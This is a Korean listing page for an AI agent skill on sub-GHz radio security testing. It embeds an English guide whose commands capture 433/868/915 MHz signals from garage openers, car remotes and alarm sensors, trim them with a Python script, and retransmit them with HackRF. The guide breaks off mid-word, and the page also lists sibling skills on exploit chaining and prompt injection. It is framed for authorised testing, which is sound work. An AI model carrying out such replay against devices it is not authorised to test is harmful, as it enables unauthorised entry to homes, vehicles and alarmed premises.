sub-ghz
하는 일
이 가이드는 차고 문 개폐기, 알람 센서, 키 fob처럼 서브 GHz 무선을 쓰는 원격 장치의 보안 점검을 다룹니다. 허가된 환경에서 자사 장치를 검토하는 제품 팀과 테스터를 위한 것입니다.
사용하는 경우
- ✓제품 팀이 원격 개폐기가 롤링 코드를 쓰는지 고정 코드를 쓰는지 확인하려는 경우.
- ✓알람 센서가 기록되어 다시 보내질 수 있는 신호를 보낼 때.
- ✓허가된 테스트에서 무선 장치의 변조 방식과 인코딩을 확인해야 할 때.
스킬 링크
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/iot/sub-ghz/SKILL.md복사해서 AI(Claude, ChatGPT, Cursor)에 붙여넣고 지침을 따르도록 요청하세요.
사용 방법
가장 쉬운 방법입니다. 메시지를 복사해 AI에 붙여넣으세요. AI가 스킬을 읽고 지침을 따릅니다.
바로 붙여넣을 수 있는 메시지
Claude Code, Codex, Cursor용입니다. 프로젝트 폴더에서 실행하면 스킬이 설치됩니다.
SKILL.md를 다운로드해 에이전트의 스킬 폴더에 넣으세요.
AI에게 요청하는 예시
“우리 차고 리모컨은 고정 코드를 쓸 수도 있습니다. 신호를 기록해서 테스트 장치에서 재생할 수 있는지 확인해 주세요.”
매주 새 스킬 5개. 읽는 데 1분.
작동 방식
에이전트는 무선 주파수와 인코딩을 확인하고, 버튼을 누를 때마다 코드가 바뀌는지 보며, 기록된 신호가 다시 받아들여질지 보고합니다.
기술 내용 (원본 SKILL.md)
작성자의 영어 원문을 GitHub에서 그대로 가져왔습니다.
Sub-GHz ISM Band Capture and Replay
The 433/868/915 MHz ISM bands host a vast range of devices: garage door openers, car remote entry, alarm sensors, smart meters, weather stations, baby monitors, and industrial telemetry. Most use OOK or FSK modulation with no authentication. Fixed-code devices are trivially replayed. Rolling- code devices (KeeLoq, HiTag2) require additional analysis but have documented weaknesses.
Prerequisites
Hardware (any one or more):
- HackRF One (1 MHz–6 GHz, TX+RX, 20 Msps) — most versatile.
- Flipper Zero (sub-GHz module, 300–928 MHz) — fastest field replay.
- RTL-SDR Blog v4 (receive only, 24 MHz–1766 MHz) — cheapest capture.
- YARD Stick One (rfcat, 300–928 MHz, CC1111 based, TX+RX) — scriptable.
- Proxmark3 (car key HiTag2 analysis, NFC — separate workload).
Software:
rfcat,inspectrum, Universal Radio Hacker (URH),rtl_433, GNU Radio,hackrf_transfer,SigDigger,rpitx(Raspberry Pi TX alternative).
# Install rfcat (YARD Stick One / CC1111 based tools):
pip install rfcat
# Install rtl_433 (auto-decodes hundreds of 433 MHz devices):
apt install rtl-433 # or build from https://github.com/merbanan/rtl_433
# Universal Radio Hacker:
pip install urh
# inspectrum (IQ file visualization):
apt install inspectrum
Frequency and Modulation Quick Reference
| Frequency | Region / Use | Common modulation |
|---|---|---|
| 433.92 MHz | EU/AS garage, keyfobs, sensors | OOK-PWM, OOK-Manchester |
| 315 MHz | US garage doors, legacy keyfobs | OOK-PWM |
| 868.35 MHz | EU alarms, smart meters, LoRa overlap | FSK, OOK |
| 915 MHz | US ISM (LoRa, sensors, meters) | FSK, OOK |
| 303 MHz | US TPMS, some car remotes | OOK |
| 868.95 MHz | KNX, some home automation | FSK |
Phase 1: Passive Capture and Signal Identification
RTL-SDR (receive only)
# Wideband spectrum survey — see what's broadcasting in the ISM band:
rtl_sdr -f 433920000 -s 2400000 -g 40 /tmp/433_survey.iq
# Auto-decode known 433 MHz devices (weather stations, door sensors, etc.):
rtl_433 -f 433920000 -s 250k -g 40 -F json | tee /tmp/rtl433_decode.json
# For continuous monitoring and logging:
rtl_433 -f 433.92M -s 250k -R 0 -F json -M utc | tee -a /tmp/rtl433_live.json
HackRF capture
# Capture 10 seconds of IQ at 433.92 MHz:
hackrf_transfer -r /tmp/433_capture.iq -f 433920000 -s 2000000 -l 32 -g 40 -n 20000000
# For 868 MHz EU targets:
hackrf_transfer -r /tmp/868_capture.iq -f 868350000 -s 2000000 -l 32 -g 40 -n 20000000
Flipper Zero (fastest field method)
On Flipper Zero:
- Sub-GHz → Frequency Analyzer: identifies active frequencies.
- Sub-GHz → Read: captures and stores a signal to flash.
- Sub-GHz → Read Raw: stores raw IQ for later analysis.
# Via Flipper CLI (qFlipper / USB serial):
# Export captured signals:
flipper_tx read /ext/subghz/captures/signal_001.sub
Phase 2: Signal Analysis with inspectrum and URH
# Visualize IQ capture in inspectrum (shows spectrogram + symbol clock):
inspectrum /tmp/433_capture.iq -r 2000000
# Open in URH for automatic modulation detection and bit decoding:
urh /tmp/433_capture.iq
# URH auto-detection: Signal → Autodetect parameters → shows encoding
# (OOK, FSK, PSK), bit rate, and decoded bits.
Key parameters to identify:
- Modulation: OOK (On-Off Keying) = on/off pattern; FSK = two frequencies.
- Bit rate: measure pulse width in inspectrum (typical: 1000–4000 bps for OOK remotes).
- Encoding: PWM (pulse-width), Manchester, NRZ, biphase.
- Preamble: usually alternating 01010101 or a long carrier burst.
Phase 3: Fixed-Code Replay
With HackRF
# Replay a captured signal exactly as recorded:
hackrf_transfer -t /tmp/433_capture.iq -f 433920000 -s 2000000 -x 47 -R # -R = repeat
# Trim the IQ file to a single clean burst before replaying:
python3 - <<'EOF'
import numpy as np
iq = np.fromfile("/tmp/433_capture.iq", dtype=np.int8)
# Find signal burst (amplitude threshold):
amplitude = np.abs(iq[0::2].astype(float) + 1j * iq[1::2].astype(float))
threshold = amplitude.max() * 0.3
start = np.argmax(amplitude > threshold) - 100
end = len(amplitude) - np.argmax(amplitude[::-1] > threshold) + 100
burst = iq[start*2:end*2]
burst.tofile("/tmp/433_burst_trimmed.iq")
print(f"Burst: {start}–{end} samples ({(end-start)/2e6*1000:.1f} ms)")
EOF
hackrf_transfer -t /tmp/433_burst_trimmed.iq -f 433920000 -s 2000000 -x 47
Wit
자주 묻는 질문
롤링 코드란 무엇인가요?
버튼을 누를 때마다 바뀌는 코드여서, 기록된 신호를 다시 쓰기 어렵게 만듭니다.
어떤 대역을 다루나요?
가이드는 433, 868, 915MHz의 산업, 과학, 의료용(ISM) 대역을 다룹니다.
어떤 도구를 언급하나요?
inspectrum과 rtl_433 등 소프트웨어 정의 무선 도구와 분석 도구를 언급합니다.
상세 정보
작성자의 원본 설명
Sub-GHz RF capture and replay for 433/868/915 MHz ISM-band targets (garage doors, car keys, alarm sensors, weather stations). Covers fixed-code replay with HackRF/Flipper Zero/RTL-SDR, rolling-code analysis with rfcat, signal visualization with inspectrum and Universal Radio Hacker, and encoding/modulation identification.
인기도
- GitHub 스타
- 6.5k
- 순위
- #14103
- 라이선스
- Apache-2.0
- 업데이트
- 2026. 11. 1.
댓글
- …
이 저장소의 다른 스킬
detector-overview
6.5k에이전트가 스캐너가 표시한 코드를 읽고, 표시된 곳 중 어디가 실제 보안 버그이고 어디가 오탐인지 판단하도록 돕습니다.
exploiter-overview
6.5k에이전트가 확인된 여러 보안 약점을 하나의 테스트 체인으로 묶고, 그 체인이 어디까지 닿을 수 있는지 확인하도록 돕습니다.
llm-redteam-overview
6.5k에이전트가 프롬프트 인젝션부터 모델 악용까지 15개 전술 그룹 중 테스트에 맞는 AI 레드팀 가이드를 찾도록 돕습니다.
aatmf-t01-prompt-injection
6.5k숨겨진 지시가 AI 시스템을 덮어쓰려 하는 프롬프트 인젝션을 설명해, 보안 테스터가 이를 점검할 수 있게 합니다.